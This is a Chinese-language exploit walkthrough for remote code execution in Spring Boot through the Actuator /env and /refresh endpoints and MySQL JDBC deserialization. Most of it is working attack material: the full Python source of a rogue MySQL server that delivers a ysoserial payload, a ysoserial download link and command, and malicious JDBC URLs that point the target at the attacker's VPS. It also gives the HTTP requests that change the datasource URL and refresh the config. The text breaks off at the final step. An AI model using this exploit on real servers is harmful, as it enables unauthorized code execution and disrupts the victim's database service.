Spring_Boot_mysql_jdbc_deserialization

# Spring Boot mysql jdbc deserialization rce

一、漏洞简介
————

#### 利用条件：

– 可以 POST 请求目标网站的 `/env` 接口设置属性
– 可以 POST 请求目标网站的 `/refresh` 接口刷新配置（存在
`spring-boot-starter-actuator` 依赖）
– 目标环境中存在 `mysql-connector-java` 依赖
– 目标可以请求攻击者的服务器（请求可出外网）

二、漏洞影响
————

三、复现过程
————

### 漏洞分析

1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
3. 当网站进行数据库查询等操作时，会尝试使用恶意 mysql jdbc url
建立新的数据库连接
4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload
数据
5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget，造成
RCE 漏洞

### 漏洞复现

##### 步骤一：查看环境依赖

GET 请求 `/env` 或 `/actuator/env`，搜索环境变量（classpath）中是否有
`mysql-connector-java` 关键词，并记录下其版本号（5.x 或 8.x）；

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖，比如
`commons-collections`、`Jdk7u21`、`Jdk8u20` 等；

搜索 `spring.datasource.url` 关键词，记录下其 `value`
值，方便后续恢复其正常 jdbc url 值。

##### 步骤二：架设恶意 rogue mysql server

在自己控制的服务器上运行springboot-jdbc-deserialization-rce.py脚本，并使用ysoserial自定义要执行的命令：

springboot-jdbc-deserialization-rce.py
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii

def server_send(conn, payload):
global count
count += 1
print(“[*] Package order: {}, Send: {}”.format(count, payload))
conn.send(binascii.a2b_hex(payload))

def server_receive(conn):
global count, BUFFER_SIZE

count += 1
data = conn.recv(BUFFER_SIZE)
print(“[*] Package order: {}, Receive: {}”.format(count, data))
return str(data).lower()

def run_mysql_server():
global count, deserialization_payload

while True:
count = 0
conn, addr = server_socks.accept()
print(“[+] Connection from client -> {}:{}”.format(addr[0], addr[1]))
greeting = ‘4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400’
server_send(conn, greeting)
if os.path.isfile(deserialization_file):
with open(deserialization_file, ‘rb’) as _f:
deserialization_payload = binascii.b2a_hex(_f.read())
while True:
# client auth
server_receive(conn)
server_send(conn, response_ok)

# client query
data = server_receive(conn)
if “session.auto_increment_increment” in data:
_payload = ‘01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200’
server_send(conn, _payload)
data = server_receive(conn)
if “show warnings” in data:
_payload = ‘01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000’
server_send(conn, _payload)
data = server_receive(conn)
if “set names” in data:
server_send(conn, response_ok)
data = server_receive(conn)
if “set character_set_results” in data:
server_send(conn, response_ok)
data = server_receive(conn)
if “show session status” in data:
_data = ‘0100000102’
_data += ‘2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000’
_data += ‘2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000’
_payload_hex = str(hex(len(deserialization_payload)/2)).replace(‘0x’, ”).zfill(4)
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace(‘0x’, ”).zfill(6)
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
_data += _data_lenght + ’04’ + ‘0131fc’ + _payload_length + deserialization_payload
_data += ‘07000005fe000022000100’
server_send(conn, _data)
data = server_receive(conn)
if “show warnings” in data:
_payload = ‘01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000′
server_send(conn, _payload)

break
try:
conn.close()
except Exception as e:
pass

if __name__ == “__main__”:
HOST = “0.0.0.0”
PORT = 3306

deserialization_file = r’payload.ser’
if os.path.isfile(deserialization_file):
with open(deserialization_file, ‘rb’) as f:
deserialization_payload = binascii.b2a_hex(f.read())
else:
deserialization_payload = ‘aced****(your deserialized hex data)’

count = 0
BUFFER_SIZE = 1024
response_ok = ‘0700000200000002000000’
print(“[+] rogue mysql server Listening on {}:{}”.format(HOST, PORT))
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socks.bind((HOST, PORT))
server_socks.listen(1)

run_mysql_server()
https://download.0-sec.org/download/ysoserial.zip
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件，供脚本使用。

##### 步骤三：设置 spring.datasource.url 属性

> ⚠️
> 修改此属性会暂时导致网站所有的正常数据库服务不可用，会对业务造成影响，请谨慎操作！

mysql-connector-java 5.x 版本设置**属性值**为：

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置**属性值**为：

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env
Content-Type: application/json

{“name”:”spring.datasource.url”,”value”:”对应属性值”}

##### 步骤四：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

##### 步骤五：触发数据库查询